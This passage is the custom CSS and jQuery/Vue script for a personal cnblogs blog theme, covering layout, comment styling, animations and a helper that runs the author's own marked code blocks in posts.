300px; */ position: relative; display: flex; flex-direction: column; justify-content: center; align-items: center; /*padding:20px;*/ /* text-shadow: 2px 2px 10px #0000008a; */ text-shadow: 0 3px 6px rgba(0, 0, 0, 0.3); } .post-header .postTitle, .post-header .postDesc { /* z-index: 0; */ color: #fff!important; } .post-header .postDesc { z-index:0; } .post-header * { /* color: #fff!important; */ } .post-header:before { content: \u0026#34;\u0026#34;; background: rgba(0, 0, 0, .5); /* backdrop-filter: blur(4px); */ display: block; width: 100%; height: 100%; position: absolute; /* z-index: 0; */ } .post-header .entrylistDescription { border: none } .entrylistTitle:nth-child(2) { display: none; } .entrylistDescription .desc_img { display: none!important; } .post-navbar { display: table-cell; width: 100%; line-height: 70px; transition: transform 300ms; } #blogTitle, #navigator { transition: transform 300ms; } .post-navbar-show #blogTitle, .post-navbar-show #navigator, .post-navbar-show .post-navbar { transform: translatey(-70px)!important; transition: transform 300ms; } .post-title { font-size: 24px; font-weight: 500; max-width: 800px; margin: 0 auto; z-index: 1; white-space: nowrap; text-overflow: ellipsis; width: 100%; overflow: hidden; padding: 0 20px; text-align: center; } .day .postTitle2 span { display: inline-block; /* align-items: center; */ /* flex-wrap: wrap; */ vertical-align: text-bottom; /* margin-right: 4px; */ } .day .postTitle2 span span { font-size: 0; } .day .postTitle2 img { margin-left: 10px; } .day .postTitle2 span span:after { content: \u0026#34;置顶\u0026#34;; display: inline-block; /* margin-right: 0px; */ text-align: center; padding: 0.1rem; font-size: 12px!important; color: #fff; background: #ff81aa; /* border: 1px solid #ff81aa; */ border-radius: 3px; min-width: 30px; line-height: var(--text-h4); } div#blog-comments-placeholder { display: flex; flex-direction: column; } div#comment_form { display: flex; flex-direction: column; /* order: -1; */ } div#post_detail { order: -2; } /*******/ @media screen and (min-width:0) { .bq_post_comment { font-family: -apple-system, BlinkMacSystemFont, Segoe UI, Helvetica, Arial, sans-serif, Apple Color Emoji, Segoe UI Emoji !important; font-size: 16px !important; line-height: 1.8 !important; /* word-wrap: break-word !important; */ } .bq_post_comment kbd { display: inline-block !important; padding: 3px 5px !important; font: 11px SFMono-Regular, Consolas, Liberation Mono, Menlo, monospace !important; line-height: 10px !important; color: #444d56 !important; vertical-align: middle !important; background-color: #fafbfc !important; border: 1px solid #d1d5da !important; border-radius: 3px !important; box-shadow: inset 0 -1px 0 #d1d5da !important; } .bq_post_comment:after, .bq_post_comment:before { display: table !important; content: \u0026#34;\u0026#34; !important; } .bq_post_comment:after { clear: both !important; } .bq_post_comment\u0026gt;:first-child { margin-top: 0 !important } .bq_post_comment\u0026gt;:last-child { margin-bottom: 0 !important } .bq_post_comment a:not([href]) { color: inherit !important; text-decoration: none !important; } .bq_post_comment .absent { color: #cb2431 !important; } .bq_post_comment .anchor { float: left !important; padding-right: 4px !important; margin-left: -20px !important; line-height: 1 !important; } .bq_post_comment .anchor:focus { outline: none !important; } .bq_post_comment blockquote, .bq_post_comment details, .bq_post_comment dl, .bq_post_comment ol, .bq_post_comment p, .bq_post_comment pre, .bq_post_comment ul { margin-top: 0 !important; margin-bottom: 16px !important; } .bq_post_comment hr { height: .25em !important; padding: 0 !important; margin: 24px 0 !important; background-color: #e1e4e8 !important; border: 0 !important; } .bq_post_comment blockquote { padding: 0 1em !important; color: #6a737d !important; margin: 0; border: none; border-left: .25em solid #dfe2e5 !important; } .bq_post_comment blockquote\u0026gt;:first-child { margin-top: 0 !important; } .bq_post_comment blockquote\u0026gt;:last-child { margin-bottom: 0 !important; } .bq_post_comment h1, .bq_post_comment h2, .bq_post_comment h3, .bq_post_comment h4, .bq_post_comment h5, .bq_post_comment h6 { margin-top: 24px !important; margin-bottom: 16px !important; font-weight: 500 !important; line-height: 1.8 !important; } .bq_post_comment h1 .octicon-link, .bq_post_comment h2 .octicon-link, .bq_post_comment h3 .octicon-link, .bq_post_comment h4 .octicon-link, .bq_post_comment h5 .octicon-link, .bq_post_comment h6 .octicon-link { color: #1b1f23 !important; vertical-align: middle !important; visibility: hidden !important; } .bq_post_comment h1:hover .anchor, .bq_post_comment h2:hover .anchor, .bq_post_comment h3:hover .anchor, .bq_post_comment h4:hover .anchor, .bq_post_comment h5:hover .anchor, .bq_post_comment h6:hover .anchor { text-decoration: none !important; } .bq_post_comment h1:hover .anchor .octicon-link, .bq_post_comment h2:hover .anchor .octicon-link, .bq_post_comment h3:hover .anchor .octicon-link, .bq_post_comment h4:hover .anchor .octicon-link, .bq_post_comment h5:hover .anchor .octicon-link, .bq_post_comment h6:hover .anchor .octicon-link { visibility: visible !important; } .bq_post_comment h1 code, .bq_post_comment h1 tt, .bq_post_comment h2 code, .bq_post_comment h2 tt, .bq_post_comment h3 code, .bq_post_comment h3 tt, .bq_post_comment h4 code, .bq_post_comment h4 tt, .bq_post_comment h5 code, .bq_post_comment h5 tt, .bq_post_comment h6 code, .bq_post_comment h6 tt { font-size: inherit !important; } .bq_post_comment h1 { font-size: 2em !important; } .bq_post_comment h1, .bq_post_comment h2 { padding-bottom: .3em !important; border-bottom: 1px solid var(--border-color-extra-linght) !important; } .bq_post_comment h2 { font-size: 1.5em !important; } .bq_post_comment h3 { font-size: 1.25em !important; } .bq_post_comment h4 { font-size: 1em !important; } .bq_post_comment h5 { font-size: .875em !important; } .bq_post_comment h6 { font-size: .85em !important; color: #6a737d !important; } .bq_post_comment ol, .bq_post_comment ul { padding-left: 2em !important; } .bq_post_comment ol.no-list, .bq_post_comment ul.no-list { padding: 0 !important; list-style-type: none !important; } .bq_post_comment ol ol, .bq_post_comment ol ul, .bq_post_comment ul ol, .bq_post_comment ul ul { margin-top: 0 !important; margin-bottom: 0 !important; } .bq_post_comment li { word-wrap: break-all !important; } .bq_post_comment li\u0026gt;p { margin-top: 16px !important; } .bq_post_comment li+li { margin-top: .25em !important; } .bq_post_comment dl { padding: 0 !important; } .bq_post_comment dl dt { padding: 0 !important; margin-top: 16px !important; font-size: 1em !important; font-style: italic !important; font-weight: 600 !important; } .bq_post_comment dl dd { padding: 0 16px !important; margin-bottom: 16px !important; } .bq_post_comment .table-wrapper table { display: table !important; width: 100% !important; overflow-x: auto !important; border-collapse: collapse; } .bq_post_comment .table-wrapper table th { font-weight: 600 !important; } .bq_post_comment .table-wrapper table td, .bq_post_comment .table-wrapper table th { padding: 6px 13px !important; border: 1px solid #dfe2e5 !important; background: transparent !important; /* border-spacing: 0!important; */ } .bq_post_comment .table-wrapper table tr { background-color: var(--color-white); border-top: 1px solid #c6cbd1 !important; } .bq_post_comment .table-wrapper table tr:nth-child(2n) { background-color: var(--background-color-base) !important; } .bq_post_comment .table-wrapper table img { background-color: initial !important; } .bq_post_comment img { max-width: 100% !important; box-sizing: initial !important; background-color: var(--color-white) !important; } .bq_post_comment img[align=right] { padding-left: 20px !important; } .bq_post_comment img[align=left] { padding-right: 20px !important; } .bq_post_comment .emoji { max-width: none !important; vertical-align: text-top !important; background-color: initial !important; } .bq_post_comment span.frame { display: block !important; overflow: hidden !important; } .bq_post_comment span.frame\u0026gt;span { display: block !important; float: left !important; width: auto !important; padding: 7px !important; margin: 13px 0 0 !important; overflow: hidden !important; border: 1px solid #dfe2e5 !important; } .bq_post_comment span.frame span img { display: block !important; float: left !important; } .bq_post_comment span.frame span span { display: block !important; padding: 5px 0 0 !important; clear: both !important; color: #24292e !important; } .bq_post_comment span.align-center { display: block !important; overflow: hidden !important; clear: both !important; } .bq_post_comment span.align-center\u0026gt;span { display: block !important; margin: 13px auto 0 !important; overflow: hidden !important; text-align: center !important; } .bq_post_comment span.align-center span img { margin: 0 auto !important; text-align: center !important; } .bq_post_comment span.align-right { display: block !important; overflow: hidden !important; clear: both !important; } .bq_post_comment span.align-right\u0026gt;span { display: block !important; margin: 13px 0 0 !important; overflow: hidden !important; text-align: right !important; } .bq_post_comment span.align-right span img { margin: 0 !important; text-align: right !important; } .bq_post_comment span.float-left { display: block !important; float: left !important; margin-right: 13px !important; overflow: hidden !important; } .bq_post_comment span.float-left span { margin: 13px 0 0 !important; } .bq_post_comment span.float-right { display: block !important; float: right !important; margin-left: 13px !important; overflow: hidden !important; } .bq_post_comment span.float-right\u0026gt;span { display: block !important; margin: 13px auto 0 !important; overflow: hidden !important; text-align: right !important; } .bq_post_comment code { /* padding: 16px !important; */ margin: 0 4px !important; /* font-size: 85% !important; */ display: inline; border: none !important; font-family: SFMono-Regular, Menlo, Monaco, Consolas, \u0026#34;Liberation Mono\u0026#34;, \u0026#34;Courier New\u0026#34;, monospace !important; background-color: rgba(27, 31, 35, .05) !important; border-radius: 3px !important; } .bq_post_comment code br, .bq_post_comment tt br { display: none !important; } .bq_post_comment del code { text-decoration: inherit !important; } /* .bq_post_comment pre\u0026gt;code { padding: 0 !important; margin: 0 !important; font-size: 100% !important; /*word-break: normal !important; white-space: pre !important;*/ background: transparent !important; border: 0 !important; } */ .bq_post_comment .highlight { margin-bottom: 16px !important; } .bq_post_comment .highlight pre { margin-bottom: 0 !important; /*word-break: normal !important;*/ } .bq_post_comment .highlight pre, .bq_post_comment pre { /* padding: 16px !important; */ overflow-x: auto !important; font-size: 85% !important; width: 100%; line-height: 1.45 !important; background-color: #282c34 !important; border-radius: 3px !important; } /* .bq_post_comment pre code, .bq_post_comment pre tt { /*display: inline !important;*/ /*max-width: auto !important;*/ padding: 20px 10px !important; /* padding: 16px !important; */ /* line-height: inherit !important; */ white-space: pre !important; word-break: keep-all; /* text-overflow: clip; */ background-color: initial !important; border: 0 !important; color: #dcdcdc; } */ .bq_post_comment .csv-data td, .bq_post_comment .csv-data th { padding: 5px !important; overflow: hidden !important; font-size: 12px !important; line-height: 1 !important; text-align: left !important; white-space: nowrap !important; } .bq_post_comment .csv-data .blob-num { padding: 10px 8px 9px !important; text-align: right !important; background: #fff !important; border: 0 !important; } .bq_post_comment .csv-data tr { border-top: 0 !important; } .bq_post_comment .csv-data th { font-weight: 600 !important; background: #f6f8fa !important; border-top: 0 !important; } } .feedbackItem table { border-collapse: collapse; } .day .postTitle2.vertical-middle { display: inline-flex; align-items: center; flex-wrap: wrap; } #profile_block { display: none!important; } /***********/ #my-profile { padding: 20px; position: relative; display: flex; flex-direction: column; /* align-items: center; */ gap: 0px; } .my-logo { width: 100%; height: 100%; } .my-name { /* FONT-WEIGHT: 500; */ font-weight: 500; font-size: 20px; line-height: 1.5; } .my-name-container { display: flex; /* align-items: center; */ flex-direction: column; flex: 1; gap: 10px; } #age { background: var(--color-danger-2); color: var(--color-danger-0); border: 1px solid var(--color-danger-0); font-size: 10px; padding: 2px 8px; /* line-height: 20px; */ width: fit-content; white-space: nowrap; margin-left: 10px; border-radius: 20px; } .my-desc { font-size: small; /* margin-top: 10px; */ /* padding: 0 10px; */ color: var(--color-text-regular); } .my-detaial ul { display: flex; grid-template-columns: 1fr 1fr 1fr; width: 100%; grid-gap: 10px; padding: 0; margin: 4px auto; justify-content: space-around; } .my-detaial ul li { list-style-type: none; /* margin-right: 20px; */ /* max-width: calc(50% - 25px); */ display: flex; align-items: baseline; } .my-detaial ul li:last-child { margin-right: 0; /* float: right; */ } .my-detaial a { display: block; overflow: hidden; white-space: nowrap; text-overflow: ellipsis; font-size: 1.1em; } .my-detaial ul li:after { font-size: 10px; white-space: nowrap; } #fans:after { content: \u0026#39;粉丝\u0026#39;; margin-left: 4px; color: var(--color-info); } #follow:after { content: \u0026#39;关注\u0026#39;; margin-left: 4px; color: var(--color-info); } .my-stats ul li { list-style-type: none; /* margin-right: 10px; */ /* background: var(--background-color-base); */ font-size: small; padding: 0 12px; width: 100%; max-width: 100%; border-radius: 20px; display: block; overflow: hidden; white-space: nowrap; text-overflow: ellipsis; } .my-stats ul li:last-child { margin-right: 0; } .my-stats ul li:before { font-family: fontawesome; } #post:before { content: \u0026#34;随笔：\u0026#34;; margin-right: 4px; } #article:before { content: \u0026#34;文章：\u0026#34;; margin-right: 4px; } #comment:before { content: \u0026#34;评论：\u0026#34;; margin-right: 4px; } #follow-btn { /* position:absolute; */ /* width: 180px; */ font-size: small; top: 30px; right: 20px; } .entrylist{ /* display:none; */ /* padding-top: 20px; */ } .recent_comment_body, .recent_comment_author { font-size: var(--text-h6); } .recent_comment_body p:first-child , .recent_comment_body p:last-child { margin:0; } .recent_comment_author:last-child { border: none; } .commentbox_footer { border-top: 1px solid var(--border-color-extra-linght); } .login_tips { background-color: #f9e8de; color: #a84229; border-radius: 6px; padding: 16px 20px; ; } .login_tips { margin: 0 20px; } #blog-news { overflow: unset; } .my-stats { position: relative; /* line-height: 40px; */ display: flex; align-items: baseline; } .btn-more:before { /* font-size: 10px; */ /* line-height: 30px; */ cursor: pointer; content: \u0026#34;\\e7a8\u0026#34;; /* color: var(--color-); */ font-family: \u0026#39;element-icons\u0026#39;; } ul.dropwon-content { display: none; } .my-stats:hover .dropwon-content { display: flex; flex-direction: column; position: absolute; line-height: 16px; top: 70%; right: 0!important; width: 120px; z-index: 10; background: var(--color-white); box-shadow: var(--light-shadow); padding: 12px 0 12px; border-radius: 4px; animation: fadeInUp 0.3s; } #view:before { content: \u0026#34;总阅读：\u0026#34;; } li.recent_comment_title{ line-height:1.5; } li.recent_comment_body { margin-top: 10px; /* margin-left: 16px; */ /* margin-right: 16px; */ background: var(--color-info-2); padding: 4px 10px; border-radius: 4px; position: relative; line-height: 1.6; } li.recent_comment_body:after { content: \u0026#34;\u0026#34;; display: block!important; width: 10px; height: 10px; background: var(--color-info-2); position: absolute; bottom: -5px; right: 10px; transform: rotate(45deg); } #GalleryThumbNailViewer1_ThumbNails td { width: 25%; } #comment_pager_bottom { /* border-bottom: 1px solid var(--border-color-extra-linght); */ } .comment_avatar_container { width: 48px; height: 48px; overflow: hidden; border-radius: 50px; display: block; position: absolute; } .comment_avatar_container img { transform: scale(1); transition: transform 300ms; } .comment_avatar_container:hover img { transform: scale(1.5) translateY(6px); transition: transform 300ms; } .my-logo-container { width: 180px; height: 180px; overflow: hidden; border-radius: 10px; display: block; border: 4px solid rgba(0,0,0,.08); /* margin: 50px 0 0; */ } #user-avatar{ position:relative; width: 100%; display: flex; align-items: center; justify-content: center; padding: 30px 0; } #user-avatar:after{ /* content:\u0026#34;\\f222\u0026#34;; */ font-family:fontawesome; display:block; z-index:2; position:absolute; bottom:0; right:15%; background:dodgerblue; width:30px; height:30px; text-align:center; border-radius:50px; color:#fff; border:2px solid #fff; font-weight:bold; } .my-logo-container img { transform: scale(1); transition: transform 300ms; } .my-logo-container:hover img { transform: scale(1.5) translateY(12%); transition: transform 300ms; } @media screen and (max-width:767px) { .day .postDesc, .PostList .postDesc2, .entrylistItemPostDesc { font-size: 0!important; } .day .postDesc a[rel=\u0026#34;nofollow\u0026#34;], .postDesc2 a[target=\u0026#34;_blank\u0026#34;], .entrylistItemPostDesc a[rel=\u0026#34;nofollow\u0026#34;], .entrylistItemPostDesc a[title=\u0026#39;permalink\u0026#39;] { display: none!important; } } a[href=\u0026#34;https://github.com/GShang2018\u0026#34;]:before { content: \u0026#34;\\f113\u0026#34;!important; } a[href=\u0026#34;https://web.51.la/report/visit_details?comId=21054727\u0026#34;]:before { /* content: \u0026#34;\\f201\u0026#34;!important; */ } .comment_option { color: var(--color-text-secondary); fill: var(--color-text-secondary); } .comment_option:hover { color: var(--color-text-primary); fill: var(--color-text-primary); } /****loading***********/ @-webkit-keyframes ball-scale-multiple { 0% { -webkit-transform: scale(0); transform: scale(0); opacity: 0; } 5% { opacity: 1; } 100% { -webkit-transform: scale(1); transform: scale(1); opacity: 0; } } @keyframes ball-scale-multiple { 0% { -webkit-transform: scale(0); transform: scale(0); opacity: 0; } 5% { opacity: 1; } 100% { -webkit-transform: scale(1); transform: scale(1); opacity: 0; } } .ball-scale-multiple { transform: scale(6); position: relative; -webkit-transform: translateY(-30px); transform: translateY(-30px); } .ball-scale-multiple\u0026gt;div:nth-child(2) { -webkit-animation-delay: -0.4s; animation-delay: -0.4s; } .ball-scale-multiple\u0026gt;div:nth-child(3) { -webkit-animation-delay: -0.2s; animation-delay: -0.2s; } .ball-scale-multiple\u0026gt;div { background-color: var(--ThemeColor); width: 15px; height: 15px; border-radius: 100%; margin: 2px; -webkit-animation-fill-mode: both; animation-fill-mode: both; position: absolute; left: -90px; top: -70px; opacity: 0; margin: 0; width: 180px; height: 180px; -webkit-animation: ball-scale-multiple 1s 0s linear infinite; animation: ball-scale-multiple 1s 0s linear infinite; } #loading { opacity: 1; width: 100vw; height: 100vh; position: fixed; z-index: 999999999999999; display: flex; align-items: center; justify-content: center; background: var(--blur-bg); backdrop-filter: blur(50px); } #loading-container { display: none; } .fa-smile-o:before { content: \u0026#34;\\f118\u0026#34;; font-weight: normal; } #blogCalendar tr:nth-child(n+3) td:hover { background: var(--color-info-2); border-radius: 4px; cursor: pointer; } .CalTodayDay { background: var(--color-primary)!important; border-radius: 4px; color: #fff; } #digg_tips { /* display: none; */ align-items: center; justify-content: center; position: absolute; font-family: inherit; top: 31px; /* left: 100%; */ /* right: 0; */ margin: 0 0 0 1px; /* background: #ff000052; */ /* width: 40px; */ border-radius: 80px; /* height: 40px; */ /* animation-name:fadeInUp; */ /* animation-duration:0.4s; */ /* z-index: -1; */ } @keyframes fade-in { 0% { opacity: 0; } /*初始状态 透明度为0*/ 40% { opacity: 0; } /*过渡状态 透明度为0*/ 100% { opacity: 1; } /*结束状态 透明度为1*/ } @-webkit-keyframes fade-in { /*针对webkit内核*/ 0% { opacity: 0; } 40% { opacity: 0; } 100% { opacity: 1; } } @-webkit-keyframes fadeInUp { from { opacity: 0; -webkit-transform: translate3d(0, 100%, 0); transform: translate3d(0, 100%, 0); } to { opacity: 1; -webkit-transform: none; transform: none; } } @keyframes fadeInUp { from { opacity: 0; -webkit-transform: translate3d(0, 100%, 0); transform: translate3d(0, 100%, 0); } to { opacity: 1; -webkit-transform: none; transform: none; } } @keyframes fadeOutUp { from { opacity: 0; -webkit-transform: translate3d(0, 100%, 0); transform: translate3d(0, 100%, 0); } to { opacity: 1; -webkit-transform: none; transform: none; } } @keyframes fadeInDown { from { opacity: 0; -webkit-transform: translate3d(0, -100%, 0); transform: translate3d(0, -100%, 0); } to { opacity: 1; -webkit-transform: none; transform: none; } } @keyframes fadeInLeft { from { opacity: 0; -webkit-transform: translate3d(100%, 0, 0); transform: translate3d(100%, 0, 0); } to { opacity: 1; -webkit-transform: none; transform: none; } } @keyframes fadeInRight { from { opacity: 0; -webkit-transform: translate3d(-100%, 0, 0); transform: translate3d(-100%, 0, 0); } to { opacity: 1; -webkit-transform: none; transform: none; } } @keyframes fadeOutLeft { from { opacity: 1; -webkit-transform: translate3d(100%, 0, 0); transform: translate3d(100%, 0, 0); } to { opacity: 0; -webkit-transform: none; transform: none; } } @keyframes fadeOutRight { from { opacity: 1; -webkit-transform: translate3d(-100%, 0, 0); transform: translate3d(-100%, 0, 0); } to { opacity: 0; -webkit-transform: none; transform: none; } } #sidebar_scroller { animation-name: fadeInLeft; animation-duration: 0.5s; } #sideBarMain { animation-name: fadeInRight; animation-duration: 0.5s; } #blog-comments-placeholder, .OwO-body { animation-name: fadeIn; animation-duration: 0.3s; } /* .day, .PostList, .entrylistItem, .entrylistTitle, .entrylistDescription, .postSeparator, .topicListFooter { animation-name: fadeInUp; animation-duration: 1s; } */ /*\u0026gt; *:not(div[id^=\u0026#34;tippy\u0026#34;])*/ .forFlow { animation-name: fadeInUp; animation-duration: 1s; } img.medium-zoom-image.medium-zoom-image--opened { z-index: 99999999999; } .medium-zoom-overlay { z-index: 999; } @media only screen and (max-width: 767px) { .cnblogs-post-body img, .feedbackItem .blog_comment_body img { /* max-width: unset; */ max-width: 100%!important; } } .title-parent .title-link:before { content: \u0026#34;¶\u0026#34;; font-size: 0.9em; margin-left: 6px; line-height: inherit; display: none; } .title-parent:hover .title-link:before { display: inline-block; } /******************/ .link-block a { display: flex; width: 100%; background: var(--background-color-base); padding: 10px 20px; box-sizing: border-box; margin: 10px 0; border-radius: 4px; align-items: center; justify-content: center; /* color: #333 !important; */ text-decoration: none; } .link-url:before { content: \u0026#34;\\f0c1\u0026#34;; font-family: FontAwesome; margin-right: 6px; } .link-url, .link-text { white-space: nowrap; overflow: hidden; text-overflow: ellipsis; } .link-url { color: var(--TextColor2); } .link-text { flex: 1; max-width: calc(100% - 40px); } .link-text span { line-height: 2; font-size: 20px; color: var(--TextColor1); } .link-pic { /* width: 40px; */ /* height: 40px; */ /* color: #fff; */ margin-left: 10px; } .link-pic i { /* color: #333; */ width: 100%; height: 100%; } hr.footnotes-sep { display: none; } /***************/ .mermaid { text-align: center; margin: 10px 0; } .toc-container-header { display: none; } /* #mainContent:after { content: \u0026#34;Copyright © 2022 GShang \\A Powered by .NET 6 on Kubernetes\u0026#34;; display: block; white-space: pre; font-size: var(--text-h6); text-align: center; padding: 40px 10px; font-size: 16px; color: var(--color-text-secondary); position: relative; bottom: 0; font-family: Arial, \u0026#34;Helvetica Neue\u0026#34;, Helvetica, sans-serif; animation-name: fadeInUp; animation-duration: 1s; } */ pre[class*=\u0026#34;language-\u0026#34;] code{ /* padding: 16px 16px 16px 10px!important; */ /* overflow-x: auto; */ } .table-wrapper { margin-bottom: 16px; } .hljs table { margin-left: -16px; } #cnblogs_post_body table { display: table!important; } @keyframes fadeIn { 0% { opacity: 0; } /*初始状态 透明度为0*/ 40% { opacity: 0; } /*过渡状态 透明度为0*/ 100% { opacity: 1; } /*结束状态 透明度为1*/ } @-webkit-keyframes fadeIn { /*针对webkit内核*/ 0% { opacity: 0; } 40% { opacity: 0; } 100% { opacity: 1; } } #blog_nav_contact { position:relative; } #blog_nav_contact.has_msg:after { content:\u0026#34;\u0026#34;; display:block; width:6px; height:6px; background:red; border-radius:10px; border:2px solid var(--color-white); font-size:16px; z-index:9999; position:absolute; top:10%; right:20%; } /**** hljs ****/ /* @media screen and (min-width:0px) { .hljs-keyword, .hljs-literal, .hljs-symbol, .hljs-name { color: #569CD6 !important; } .hljs-link { color: #569CD6 !important; text-decoration: underline !important; } .hljs-built_in, .hljs-type { color: #4EC9B0 !important; } .hljs-number, .hljs-class { color: #B8D7A3 !important; } .hljs-string, .hljs-meta-string { color: #D69D85 !important; } .hljs-regexp, .hljs-template-tag { color: #9A5334 !important; } .hljs-subst, .hljs-function, .hljs-title, .hljs-params, .hljs-formula { color: #DCDCDC !important; } .hljs-comment, .hljs-quote { color: #57A64A !important; font-style: normal!important; } .hljs-doctag { color: #608B4E !important; } .hljs-meta, .hljs-meta-keyword, .hljs-tag { color: #9B9B9B !important; } .hljs-variable, .hljs-template-variable { color: #BD63C5 !important; } .hljs-attr, .hljs-attribute, .hljs-builtin-name { color: #9CDCFE !important; } .hljs-section { color: gold !important; } .hljs-emphasis { font-style: italic !important; } .hljs-strong { font-weight: bold !important; } .hljs-bullet, .hljs-selector-tag, .hljs-selector-id, .hljs-selector-class, .hljs-selector-attr, .hljs-selector-pseudo { color: #D7BA7D !important; } .hljs-addition { color: inherit !important; background-color: #144212 !important; display: inline-block !important; width: 100% !important; } .hljs-deletion { background-color: #600 !important; display: inline-block !important; width: 100% !important; } }*/ md-center{ display: block; text-align: center; font-weight: bold; } /* .avater-border { background:url(https://images.cnblogs.com/cnblogs_com/gshang/1453531/o_220201012233_border.png); background-size: contain; background-repeat: no-repeat; background-position: 2px 18px; width: 180px; height: 250px; position: absolute; z-index: 2; margin: 0 auto; } */ .tree-categories, .footnote-item{ list-style-type:none; margin:0; padding:0; } .tippy-box, .cnblogs-toc-pinned-navigator{ opacity:1; background:white!important; box-shadow: 0 0 30px #0000001a!important; border-radius: 8px; border: 1px solid #e3e5e7; z-index:99999999; } .footnote-item p { margin: 0; } /******************/ .link-block a { display: flex; width: 100%; background: var(--background-color-base); padding: 10px 20px; box-sizing: border-box; margin: 10px 0; border-radius: 4px; align-items: center; justify-content: center; /* color: #333 !important; */ text-decoration: none; } .link-url:before { content: \u0026#34;\\f0c1\u0026#34;; font-family: FontAwesome; margin-right: 6px; } .link-url, .link-text { white-space: nowrap; overflow: hidden; text-overflow: ellipsis; } .link-url { color: var(--TextColor2); } .link-text { flex: 1; max-width: calc(100% - 40px); } .link-text span { line-height: 2; font-size: 20px; color: var(--TextColor1); } .link-pic { /* width: 40px; */ /* height: 40px; */ /* color: #fff; */ margin-left: 10px; } .link-pic i { /* color: #333; */ width: 100%; height: 100%; } .cnblogs-toc-item:hover{ color:var(--color-primary); } .postTitle .cnblogs-toc-button { display:inline-block!important; } css代码\n\u0026lt;!-- \u0026lt;script src=\u0026#34;https://cdn.bootcss.com/fancybox/3.5.7/jquery.fancybox.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script src=\u0026#34;https://cdn.bootcss.com/clipboard.js/2.0.4/clipboard.min.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; --\u0026gt; \u0026lt;script src=\u0026#34;https://files.cnblogs.com/files/blogs/809481/vue.js?t=1735051820\u0026amp;download=true\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script src=\u0026#34;https://files.cnblogs.com/files/blogs/809481/eui.css?t=1735051643\u0026amp;download=true\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script src=\u0026#34;https://files.cnblogs.com/files/blogs/809481/jquery.cookie.js?t=1735051954\u0026amp;download=true\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;!-- \u0026lt;script src=\u0026#34;https://files.cnblogs.com/files/gshang/gs.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; --\u0026gt; \u0026lt;script\u0026gt; // 参数初始化 var ele = new Vue({}); var windowTop = 0; $(function() { // 基础组件初始化 basicInit(); // 其他初始化 if ($(\u0026#34;#topics\u0026#34;).length \u0026gt; 0) { magicMarkdown(); // 魔法注释 blogPostTitle(); // 博客正文标题背景图 //imgCaption(); ref(); // $(\u0026#34;#loading-container\u0026#34;).fadeToggle(\u0026#34;fast\u0026#34;); postBasicSetting(); // 博客基本样式初始化 // setSideContent(); // 侧边目录 // contentActiveListen(); // 侧边目录滚动激活 setCommet(); // 评论区 } else { // entryPostTitle(); 随笔分类背景图 // $(\u0026#34;#loading-container\u0026#34;).fadeToggle(\u0026#34;fast\u0026#34;); } //setProfile(); // 公告信息 btnClick(); // 点击事件 //copyCodeTip(); // 代码复制提示 scrollListen(); // 滚动监听事件 myscroll(); // 平滑滚动控制 // }); /* 初始化 */ basicInit = function() { // 博客 favicon $(\u0026#34;#favicon\u0026#34;).replaceWith( \u0026#39;\u0026lt;link rel=\u0026#34;shortcut icon\u0026#34; href=\u0026#34;https://images.cnblogs.com/cnblogs_com/blogs/809481/galleries/2438117/o_241224150348_TD-ico.png\u0026#34;\u0026gt;\u0026#39; ); // 页脚 //$(\u0026#39;#mainContent\u0026#39;).append($(\u0026#39;#footer\u0026#39;)); //消息红点 msgDot(); $(\u0026#39;#mainContent\u0026#39;).prepend($(\u0026#39;#header\u0026#39;)); // 初始化主题样式 // if ($.cookie(\u0026#34;theme\u0026#34;) == null) { // $.cookie(\u0026#34;theme\u0026#34;, \u0026#34;light\u0026#34;, { // expires: 30, // path: \u0026#34;/\u0026#34;, // domain: \u0026#34;cnblogs.com\u0026#34;, // }); // } // if ($.cookie(\u0026#34;theme\u0026#34;) == \u0026#34;dark\u0026#34;) { // document.documentElement.setAttribute(\u0026#34;theme\u0026#34;, \u0026#34;dark\u0026#34;); // } // 全屏黑幕 $(\u0026#34;#main\u0026#34;).append(\u0026#39;\u0026lt;div class=\u0026#34;mask\u0026#34;\u0026gt;\u0026lt;/div\u0026gt;\u0026#39;); // 侧边悬浮按钮 $(\u0026#34;#home\u0026#34;).append( \u0026#39;\u0026lt;div class=\u0026#34;float-btn\u0026#34;\u0026gt;\u0026lt;ul\u0026gt;\u0026#39; + \u0026#39;\u0026lt;li class=\u0026#34;btn-top\u0026#34;\u0026gt;\u0026lt;a href=\u0026#34;#top\u0026#34;\u0026gt;\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt;\u0026#39; + // \u0026#39;\u0026lt;li class=\u0026#34;btn-theme\u0026#34;\u0026gt;\u0026lt;a href=\u0026#34;javascript:changeTheme()\u0026#34;\u0026gt;\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt;\u0026#39; + \u0026#39;\u0026lt;li class=\u0026#34;btn-main\u0026#34;\u0026gt;\u0026lt;a href=\u0026#34;javascript:sidebarToggle()\u0026#34;\u0026gt;\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt;\u0026#39; + \u0026#34;\u0026lt;/ul\u0026gt;\u0026lt;/div\u0026gt;\u0026#34; ); }; /* 魔法注释 */ magicMarkdown = function() { // 添加 html 代码 $(\u0026#34;code.language-html\u0026#34;).each(function() { if ($(this).text().split(\u0026#34;\\n\u0026#34;)[0] == \u0026#34;\u0026lt;!-- run --\u0026gt;\u0026#34;) { $(\u0026#34;#cnblogs_post_body\u0026#34;).append($(this).text()); $(this).parent().remove(); } }); // 添加 js 代码 $(\u0026#34;code.language-html\u0026#34;).each(function() { if ($(this).text().split(\u0026#34;\\n\u0026#34;)[0] == \u0026#34;\u0026lt;!-- script --\u0026gt;\u0026#34;) { $(\u0026#34;head\u0026#34;).append($(this).text()); $(this).parent().remove(); } }); // 运行脚本 $(\u0026#34;code.language-js\u0026#34;).each(function() { if ($(this).text().split(\u0026#34;\\n\u0026#34;)[0] == \u0026#34;// run\u0026#34;) { window.eval($(this).text()); $(this).parent().remove(); } }); }; // 参考文献 function ref() { $(\u0026#34;.footnote-ref a\u0026#34;).each(function() { $(this).attr(\u0026#34;title\u0026#34;, $($(this).attr(\u0026#34;href\u0026#34;)).text().replace(/↩︎/g, \u0026#39;\u0026#39;)); }); } // 图注释文字 function imgCaption() { $(\u0026#39;.cnblogs-markdown p img\u0026#39;).each(function() 